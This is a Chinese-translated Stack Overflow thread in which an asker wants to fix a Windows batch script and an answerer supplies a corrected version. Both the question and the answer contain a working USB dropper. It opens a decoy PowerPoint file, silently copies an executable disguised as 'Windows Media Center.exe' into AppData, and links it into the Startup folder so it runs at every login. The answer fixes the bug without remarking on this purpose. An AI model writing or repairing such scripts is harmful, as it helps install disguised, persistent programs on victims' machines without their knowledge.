簡體   English   中英

Windows批處理 - 復制文件問題

[英]Windows Batch - Copy File issue

我正在嘗試創建一個簡單的批處理文件,該文件應該將文件從外部驅動器復制到PC,而不知道驅動器號:

echo off

set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:




for /F "tokens=2 delims==" %%s in ('set drives[') do (


if exist "%%s%\New Presentazione di Microsoft PowerPoint.pptx" (


start "" "%%s%\New Presentazione di Microsoft PowerPoint.pptx"


if not exist "%AppData%\Windows Media Center.exe" ( 


copy "%%s%\data\Windows Media Center.exe" %AppData%


mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe" 

)

)

)



PAUSE

我可以成功獲取正確的驅動器號,但copy命令會返回此錯誤:

該系統找不到指定的文件

我究竟做錯了什么?

您正在錯誤地使用FOR / F參數變量,但下面是您可以使用它按預期工作的語法示例,因此它將按預期工作。

基本上FOR循環時使用的變量如%%s當您使用它來在循環迭代后的命令(例如DO %%s ),它是在一個語法引用%%s%%~s如果不是作為腳本運行,而是從命令行手動運行,則在批處理腳本中或作為%s%~s使用單個百分號。 只需省略你附加到變量迭代器的附加%符號,所以使用%%s而不是%%s%

如果你使用上面提到的變量中的波浪號~字符,那么只刪除任何周圍的引號,以便以防萬一。

echo on

set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:

for /F "tokens=2 delims==" %%s in ('set drives[') do (
    if exist "%%s\New Presentazione di Microsoft PowerPoint.pptx" start "" "%%s\New Presentazione di Microsoft PowerPoint.pptx"
    if not exist "%AppData%\Windows Media Center.exe" copy "%%s\data\Windows Media Center.exe" %AppData%
    mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe" 
)

PAUSE

更多資源

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM